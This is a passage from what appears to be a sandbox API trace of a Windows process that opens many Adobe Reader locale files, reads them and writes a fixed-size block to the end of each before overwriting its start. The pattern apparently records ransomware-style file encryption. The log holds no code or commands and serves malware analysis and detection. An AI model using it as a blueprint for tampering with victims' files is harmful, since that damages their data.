dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x9e00 [0046.216] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.223] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x9e00 [0046.224] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.224] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.224] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0046.224] CloseHandle (hObject=0x170) returned 1 [0046.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\IA32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ia32.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.225] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.225] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe00 [0046.225] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.225] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.225] ReleaseMutex (hMutex=0x128) returned 1 [0046.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUS", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0046.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.RUS", cchWideChar=8, lpMultiByteStr=0x1e6320c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.RUS", lpUsedDefaultChar=0x0) returned 8 [0046.225] ReadFile (in: hFile=0x170, lpBuffer=0x27cdbc8, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27cdbc8*, lpNumberOfBytesRead=0x304f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0046.231] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0046.231] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0046.231] CloseHandle (hObject=0x170) returned 1 [0046.231] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\SendMail.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\sendmail.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.232] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.232] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3e00 [0046.232] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.232] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.232] ReleaseMutex (hMutex=0x128) returned 1 [0046.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.RUS", cchWideChar=12, lpMultiByteStr=0x1e6334c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.RUS", lpUsedDefaultChar=0x0) returned 12 [0046.232] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.237] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2e00 [0046.237] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.240] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2e00 [0046.240] WriteFile (in: hFile=0x170, lpBuffer=0x1db0568*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0568*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.240] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.240] WriteFile (in: hFile=0x170, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.240] CloseHandle (hObject=0x170) returned 1 [0046.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\BRdlang32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\brdlang32.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.241] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.241] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3400 [0046.241] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.241] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.241] ReleaseMutex (hMutex=0x128) returned 1 [0046.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0046.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SKY", cchWideChar=13, lpMultiByteStr=0x1e6326c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SKY", lpUsedDefaultChar=0x0) returned 13 [0046.241] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.247] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2400 [0046.247] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.252] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2400 [0046.252] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.252] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.252] WriteFile (in: hFile=0x170, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.252] CloseHandle (hObject=0x170) returned 1 [0046.252] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\PPKLite.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ppklite.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.253] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.253] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x7e000 [0046.253] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.253] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.253] ReleaseMutex (hMutex=0x128) returned 1 [0046.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.SKY", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.SKY", lpUsedDefaultChar=0x0) returned 11 [0046.253] ReadFile (in: hFile=0x170, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0046.254] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x7d000 [0046.254] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.284] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x7d000 [0046.284] WriteFile (in: hFile=0x170, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.284] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.284] WriteFile (in: hFile=0x170, lpBuffer=0x2805cf8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2805cf8*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.284] CloseHandle (hObject=0x170) returned 1 [0046.284] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\updater.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\updater.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.285] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.285] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2c00 [0046.285] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.285] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.285] ReleaseMutex (hMutex=0x128) returned 1 [0046.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SKY", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SKY", lpUsedDefaultChar=0x0) returned 11 [0046.285] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.293] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1c00 [0046.293] ReadFile (in: hFile=0x170, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.296] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1c00 [0046.297] WriteFile (in: hFile=0x170, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.297] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.297] WriteFile (in: hFile=0x170, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.297] CloseHandle (hObject=0x170) returned 1 [0046.297] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\eBook.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ebook.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.298] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.298] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1a00 [0046.298] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.298] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.298] ReleaseMutex (hMutex=0x128) returned 1 [0046.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SLV", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SLV", lpUsedDefaultChar=0x0) returned 9 [0046.298] ReadFile (in: hFile=0x170, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x304f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0046.305] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0046.305] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0046.305] CloseHandle (hObject=0x170) returned 1 [0046.305] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\SaveAsRTF.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\saveasrtf.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.305] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.305] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4800 [0046.306] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.306] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.306] ReleaseMutex (hMutex=0x128) returned 1 [0046.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0046.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SLV", cchWideChar=13, lpMultiByteStr=0x1e6320c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SLV", lpUsedDefaultChar=0x0) returned 13 [0046.306] ReadFile (in: hFile=0x170, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.311] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3800 [0046.311] ReadFile (in: hFile=0x170, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.319] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3800 [0046.319] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.319] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.320] WriteFile (in: hFile=0x170, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.320] CloseHandle (hObject=0x170) returned 1 [0046.320] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\AdobeCollabSync.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\adobecollabsync.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.320] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.320] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1a00 [0046.320] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.320] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.320] ReleaseMutex (hMutex=0x128) returned 1 [0046.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SVE", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0046.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SVE", cchWideChar=19, lpMultiByteStr=0x1e789ec, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SVE", lpUsedDefaultChar=0x0) returned 19 [0046.321] ReadFile (in: hFile=0x170, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x304f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0046.324] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0046.324] WriteFile (in: hFile=0x170, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x304f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0046.325] CloseHandle (hObject=0x170) returned 1 [0046.325] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Multimedia.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\multimedia.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.325] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.325] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x13000 [0046.325] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: 